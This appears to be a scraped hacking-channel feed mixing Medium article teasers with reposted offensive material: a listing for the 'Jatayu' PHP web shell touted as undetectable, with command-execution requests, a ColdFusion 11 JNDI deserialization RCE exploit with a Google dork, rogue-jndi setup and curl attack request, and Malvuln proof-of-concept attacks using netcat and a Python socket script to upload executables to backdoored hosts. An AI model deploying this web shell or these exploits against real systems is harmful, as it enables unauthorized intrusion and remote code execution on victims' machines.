Hacking on Medium
2 Days Left for IWCON 2022 Virtual Infosec Conference & Networking Event

https://cdn-images-1.medium.com/max/1189/1*h3LUcKrKLxlX0TNz5InfAw.png
Never attended a virtual networking event before? Your FAQs answered + Check our live demo here.

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cybersecurity Sessions #4: Artificial Engagement and Ad Fraud

https://cdn-images-1.medium.com/max/2600/0*nuiGwsnjbnMXKueD
Continue reading on Netacea »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How ERC Standards Work, Part 1

https://cdn-images-1.medium.com/max/2025/1*PWK5Te6lu9-CbINSnYOO1Q.jpeg
Introduction

Continue reading on Immunefi »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
인슈어에이스 (InsurAce.io) 격주 업데이트 내역 (1월24일 — 2월6일)

https://cdn-images-1.medium.com/max/832/0*Do8F6U2RJhr1yr7k
지난 2주 동안 저희가 달성한 사항들을 아래 내용을 통해 확인해주세요.

Continue reading on 인슈어에이스 코리아 »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Jatayu - Stealthy Stand Alone PHP Web Shell

http://4.bp.blogspot.com/-Y6ST3XbnhRc/Yd2Yj8zJ-SI/AAAAAAAA8pc/viOgG_5Oya0NAw3v8AuLr3ZAgFv9VLATgCK4BGAYYCw/w640-h538/Jatayu_1_jatayu-image-763020.png
JATAYU


Stealthy Stand Alone PHP Web Shell
FEATURES

* Http Header Based Authentication.
* 100% Undetectable.
* Exec Function Changer.
* Nothing Fancy
USAGE

GET /test/jatayu.php?fn=1&&cmd=whoami
Host : http://test.com
Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499


FUNCTIONS
PARAMETER FUNCTION fn=1 Calls function shell_exec() fn=2 Calls function system() cmd=id Executes command
GENERATE AUTHTOKEN


$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
$apiKey = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
$r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
$r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
echo $apiKey;
?>

Download Jatayu

___________________________
@hacking_Attack
@Hacking_Video

Jatayu - Stealthy Stand Alone PHP Web Shell
http://www.kitploit.com/2022/02/jatayu-stealthy-stand-alone-php-web.html

___________________________
@hacking_Attack
@Hacking_Video

JATAYU
Stealthy Stand Alone PHP Web Shell
FEATURES Http Header Based Authentication. 100% Undetectable. Exec Function Changer. Nothing Fancy
USAGE GET /test/jatayu.php?fn=1&&cmd=whoami
Host : http://test.com
Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499
FUNCTIONS PARAMETER FUNCTION fn=1 Calls function shell_exec() fn=2 Calls function system() cmd=id Executes command GENERATE AUTHTOKEN ">


Download Jatayu (https://github.com/SpiderMate/Jatayu)

___________________________
@hacking_Attack
@Hacking_Video

How to hunt for bug bounties

The first step when looking for bug bounties is to get to know the target.Continue reading on Medium »
Read more...

How to hunt for bug bounties
https://medium.com/@michaelmeade3/how-to-hunt-for-bug-bounties-d44e9000f735?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

The first step when looking for bug bounties is to get to know the target.Continue reading on Medium » (https://medium.com/@michaelmeade3/how-to-hunt-for-bug-bounties-d44e9000f735?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Jatayu - Stealthy Stand Alone PHP Web Shell

JATAYU Stealthy Stand Alone PHP Web Shell FEATURES Http Header Based Authentication. 100% Undetectable. Exec Function Changer. Nothing Fancy USAGE GET /test/jatayu.php?fn=1&&cmd=whoamiHost : http://test.comAuthtoken : bb3b1a1f-0447-42a6-955a-88681fb88499 FUNCTIONS PARAMETER FUNCTION fn=1 Calls function shell_exec() fn=2 Calls function system() cmd=id Executes command GENERATE AUTHTOKEN Download Jatayu
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Adobe ColdFusion 11 Remote Code Execution

https://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png
Adobe ColdFusion version 11.0.03.292866 suffers from an LDAP Java object deserialization remote code execution vulnerability.

MD5 | 226123e631e2f9b3d10af17056b116ce

Download
# Exploit Title: Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)
# Google Dork: intext:"adobe coldfusion 11"
# Date: 2022-22-02
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
# Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
# Version: Adobe Coldfusion (11.0.03.292866)
# Tested on: Microsoft Windows Server & Linux

# Description:
# ColdFusion allows an unauthenticated user to connect to any LDAP server. An attacker can exploit it to achieve remote code execution.
# JNDI attack via the 'verifyldapserver' parameter on the utils.cfc

==================== 1.Setup rogue-jndi Server ====================

https://github.com/veracode-research/rogue-jndi
==================== 2.Preparing the Attack =======================

java -jar target/RogueJndi-1.1.jar --command "touch /tmp/owned" --hostname "attacker_box"

==================== 3.Launch the Attack ==========================
http://REDACTED/CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json
curl -i -s -k -X $'GET' \
-H $'Host: target' \
--data-binary $'\x0d\x0a\x0d\x0a' \
$'http://REDACTED//CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json'
==================== 4.RCE =======================================

Depend on the target need to compile the rogue-jndi server with JAVA 7 or 8
Can be done by modify the pom.xml as below


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.FTP.Ics Authentication Bypass / Code Execution

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png
Backdoor.Win32.FTP.Ics malware suffers from bypass and code execution vulnerabilities.

MD5 | a066e7abf9829922bcd07eaad33e5027

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Ics
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server on TCP port 5554. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 584bc06128469423f9e50e8a359d18ac
Vuln ID: MVID-2022-0498
Disclosure: 02/22/2022
Exploit/PoC:
nc64.exe 192.168.18.125 5554
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,194,58).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
426 Connection closed; Impossible de crΘer le fichier C:\TEMP\DOOM.exe.
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,59).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49723
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Acropolis.10 Insecure Permissions

https://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png
Backdoor.Win32.Acropolis.10 malware suffers from an insecure permissions vulnerability.

MD5 | 36bf417d626292b23b04672475f3d935

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c3e2bbe5dca96687422f2b4e8c80f4ce.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Acropolis.10
Vulnerability: Insecure Permissions
Description: The malware writes a PE file with insecure permissions under c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: c3e2bbe5dca96687422f2b4e8c80f4ce
Vuln ID: MVID-2022-0497
Disclosure: 02/22/2022

Exploit/PoC:
C:\>cacls Mainserver.exe
C:\Mainserver.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir Mainserver.exe
Volume in drive C has no label.

Directory of C:\

02/22/2022 10:11 PM 385,024 Mainserver.exe
1 File(s) 385,024 bytes
0 Dir(s) 24,994,226,176 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video